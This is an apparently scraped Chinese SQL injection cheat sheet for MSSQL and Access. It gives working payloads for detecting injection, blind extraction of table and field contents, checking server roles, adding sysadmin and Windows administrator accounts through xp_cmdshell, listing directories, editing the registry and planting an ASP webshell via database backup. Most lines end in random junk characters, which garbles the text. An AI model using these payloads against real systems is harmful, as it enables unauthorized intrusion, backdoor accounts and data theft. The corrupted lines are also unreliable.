1.判断是否有注入;and 1=1 ;and 1=2 S45_-aE
2.初步判断是否是mssql ;and user>0 +06j+I
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3.注入参数是字符'and [查询条件] and ''=' X:/t>0e
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' G$<0_0GF
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5.判断数据库系统 *h6i9V%'
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;and (select count(*) from sysobjects)>0 mssql nsk
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;and (select count(*) from msysobjects)>0 access m"]ys#
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 1YL5 ![T
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 L;`t%1
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 O ?Tg`] EX
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9.(1)猜字段的ascii值(access) qI@_
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 [%kucG C7
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(2)猜字段的ascii值(mssql) lsCh K
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Hc9pWr"N
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10.测试权限结构(mssql) 9_{!nQC.g
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ^EOjq
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ) /'s&
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ri
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- y
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #C^m>o~R
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;and 1=(select IS_MEMBER('db_owner'));-- X $f%Ss
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11.添加mssql和系统的帐户 $'q(Z@
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;exec master.dbo.sp_addlogin username;-- r;z A `
;exec master.dbo.sp_password null,username,password;-- 5,C,q%2
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- t=AR>M!w~
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;exec master.dbo.xp_cmdshell 'net user username password ^> fs
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- `Z-`-IL
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- WmA578|l!
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }JD(e}8$!
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12.(1)遍历目录 |k+^D :
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;create table dirs(paths varchar(100), id int) /V&Y@j
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;insert dirs exec master.dbo.xp_dirtree 'c:\' GSp1,E2J
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;and (select top 1 paths from dirs)>0 8T4J^6
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7
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(2)遍历目录 ;QYK {3R?
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ArY'NE\Htt
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 '' 6
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 cu-WY8n
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 E_K7.c4M
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5S1m&s5k
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13.mssql中的存储过程 )-(NL!?`
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xp_regenumvalues 注册表根键, 子键 < -Nj
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 _bX)fnUu
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xp_regread 根键,子键,键值名 c\Dv3bF
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;exec xp_regread om1 /9
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ]9' \<uR
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xp_regwrite 根键,子键, 值名, 值类型, 值 ]Uu/1TTf
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 +"!IVHY
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xp_regdeletevalue 根键,子键,值名 x-1[2K1"[
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 oW6.c]Vo
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 (<h,R@:
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14.mssql的backup创建webshell D<MtLwH
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use model n3(HA
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create table cmd(str image); 6vDgMfw
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insert into cmd(str) values (''); `6zoZM7?Y
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backup database model to disk='c:\l.asp'; i|t$sBIh
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15.mssql内置函数 Px<;-H`
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;and (select @@version)>0 获得Windows的版本号 ek9%Xk8
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa BsJClKp/
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;and (select user_name())>0 爆当前系统的连接用户 W|:WAxJ*d
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;and (select db_name())>0 得到当前连接的数据库 WDcjj1`l
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16.简洁的webshell p|zW2L
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use model e.[h
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create table cmd(str image); |q?A8@\u
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insert into cmd(str) values (''); IMj{n.y4
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backup database model to disk='g:\wwwtest\l.asp';